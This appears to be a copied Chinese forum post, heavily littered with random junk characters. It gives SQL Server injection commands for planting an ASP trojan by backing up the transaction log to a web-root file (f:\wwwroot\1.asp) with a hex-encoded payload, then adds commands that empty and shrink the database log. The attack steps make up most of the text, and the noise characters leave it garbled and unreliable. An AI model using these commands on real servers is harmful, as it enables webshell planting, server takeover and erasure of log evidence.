select * from master.dbo.sysdatabases 列出所有列的记录% U/ }% R( d' |. r8 D2 u
0 |$ S+ j4 c; ?3 {0 A8 E% L
select name from master.dbo.sysdatabases 仅列出name列的记录
* U* Y4 n. Z! h& w; S8 R8 Y9 z7 A0 G5 N9 q! S6 k5 D' H' t
注意:可以利用log和数据库备份两上都行,log备份不成功用数据库备份% K5 @. i/ [# G4 i; q/ i1 {' j) i& p
3 }; R" m9 n) H. X% @
alter database 数据库名 set RECOVERY FULL--
; F* v$ ~% O- \1 V& y! p/ S% n
P" \& } a# a) I- lcreate table cmd (a image)-- \**cmd是创建的临时表
$ L8 ^, X2 |9 w, i* {$ Z; I5 V$ j3 I6 F
backup log 数据库名 to disk = 'f:\wwwroot\1.asp' with init--
( v8 W6 z- D& f, a' [
9 ]' S1 ~$ \9 ^$ F* Z' w' Yinsert into cmd(a) values (0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)--
- x% w4 C, U, r7 ^; N2 F# C7 E( n7 s+ O$ C$ ^8 d! Q
//木马存放路径(转换16进制0x130a0d0a替换原来0x最后添加0d0a要多加几个)
$ b; L/ C0 }, i6 H0 p
3 T" K3 ~; H3 T' _- U; k9 obackup log 数据库名 to disk = 'f:\wwwroot\1.asp'-- (要备份的目录)
, e, Z. D4 Q. t2 G4 i) h J: \5 m }, A# I0 e, ~
drop table cmd--$ Q/ q0 ? a8 t( @/ z% Y
# g# \$ N) ^/ e! T7 ~
: q% X1 {$ i+ sf:\
. f9 O' W# g' c# v7 Z16进制转换(0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)# v- P2 p, ]& \
) O4 K" n* R7 E8 s8 N% Q( {
最好多加几个回车0d0a,要不会出错哈
2 A. X. O, Z5 S# w. S4 _' c. Y$ ?7 T5 V( f g7 t- D# w G
& v# x @# U' l6 T7 `
SQL Server日志清空方法 ; Y- X' C; |5 ~: M
4 l7 s \; N- f; Z在查询分析器中顺序执行以下三步,其中 databasename 为你的数据库文件名 s% U0 |' \8 |& z
1.清空日志:DUMP TRANSACTION databasename WITH NO_LOG 2 ~; _ n/ a- G9 ]+ F* W+ }* j# f
# `: x: U. c; }! _1 V: ^: {2.截断事务日志:BACKUP LOG databasename WITH NO_LOG
4 ?) M ^2 R8 ^4 ]1 R4 U; J; h- [ x$ o2 Q
3.收缩数据库:DBCC SHRINKDATABASE(databasename) ! J! E) j5 u9 L* l8 ]- C
|